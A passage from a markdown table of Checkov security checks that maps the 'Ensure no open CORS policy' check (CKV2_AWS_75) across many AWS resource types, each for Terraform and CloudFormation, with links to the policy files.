[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4842 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4843 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4844 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4845 | CKV2_AWS_75 | resource | aws_s3tables_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4846 | CKV2_AWS_75 | resource | aws_s3tables_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4847 | CKV2_AWS_75 | resource | aws_s3tables_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4848 | CKV2_AWS_75 | resource | aws_s3tables_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4849 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4850 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4851 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4852 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4853 | CKV2_AWS_75 | resource | aws_s3tables_table_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4854 | CKV2_AWS_75 | resource | aws_s3tables_table_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4855 | CKV2_AWS_75 | resource | aws_sagemaker_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4856 | CKV2_AWS_75 | resource | aws_sagemaker_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4857 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4858 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4859 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4860 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4861 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4862 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4863 | CKV2_AWS_75 | resource | aws_sagemaker_device | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4864 | CKV2_AWS_75 | resource | aws_sagemaker_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4865 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4866 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4867 | CKV2_AWS_75 | resource | aws_sagemaker_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4868 | CKV2_AWS_75 | resource | aws_sagemaker_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4869 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4870 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4871 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4872 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4873 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4874 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4875 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4876 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4877 | CKV2_AWS_75 | resource | aws_sagemaker_hub | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4878 | CKV2_AWS_75 | resource | aws_sagemaker_hub | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4879 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4880 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4881 | CKV2_AWS_75 | resource | aws_sagemaker_image | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4882 | CKV2_AWS_75 | resource | aws_sagemaker_image | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4883 | CKV2_AWS_75 | resource | aws_sagemaker_image_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4884 | CKV2_AWS_75 | resource | aws_sagemaker_image_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4885 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4886 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4887 | CKV2_AWS_75 | resource | aws_sagemaker_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4888 | CKV2_AWS_75 | resource | aws_sagemaker_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4889 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4890 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4891 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4892 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4893 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4894 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4895 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4896 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4897 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4898 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4899 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4900 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4901 | CKV2_AWS_75 | resource | aws_sagemaker_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4902 | CKV2_AWS_75 | resource | aws_sagemaker_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4903 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4904 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4905 | CKV2_AWS_75 | resource | aws_sagemaker_space | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4906 | CKV2_AWS_75 | resource | aws_sagemaker_space | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4907 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4908 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4909 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4910 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4911 | CKV2_AWS_75 | resource | aws_sagemaker_workforce | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4912 | CKV2_AWS_75 | resource | aws_sagemaker_workforce | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4913 | CKV2_AWS_75 | resource | aws_sagemaker_workteam | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4914 | CKV2_AWS_75 | resource | aws_sagemaker_workteam | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4915 | CKV2_AWS_75 | resource | aws_scheduler_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4916 | CKV2_AWS_75 | resource | aws_scheduler_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4917 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4918 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4919 | CKV2_AWS_75 | resource | aws_schemas_discoverer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4920 | CKV2_AWS_75 | resource | aws_schemas_discoverer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4921 | CKV2_AWS_75 | resource | aws_schemas_registry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4922 | CKV2_AWS_75 | resource | aws_schemas_registry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4923 | CKV2_AWS_75 | resource | aws_schemas_registry_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4924 | CKV2_AWS_75 | resource | aws_schemas_registry_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4925 | CKV2_AWS_75 | resource | aws_schemas_schema | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4926 | CKV2_AWS_75 | resource | aws_schemas_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4927 | CKV2_AWS_75 | resource | aws_secretsmanager_secret | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4928 | CKV2_AWS_75 | resource | aws_secretsmanager_secret | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4929 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4930 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4931 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4932 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4933 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4934 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4935 | CKV2_AWS_75 | resource | aws_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4936 | CKV2_AWS_75 | resource | aws_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4937 | CKV2_AWS_75 | resource | aws_security_group_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4938 | CKV2_AWS_75 | resource | aws_security_group_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4939 | CKV2_AWS_75 | resource | aws_securityhub_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4940 | CKV2_AWS_75 | resource | aws_securityhub_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4941 | CKV2_AWS_75 | resource | aws_securityhub_action_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4942 | CKV2_AWS_75 | resource | aws_securityhub_action_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4943 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4944 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4945 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4946 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4947 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4948 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4949 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4950 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4951 | CKV2_AWS_75 | resource | aws_securityhub_insight | Ensure no open CORS policy | Terraform | 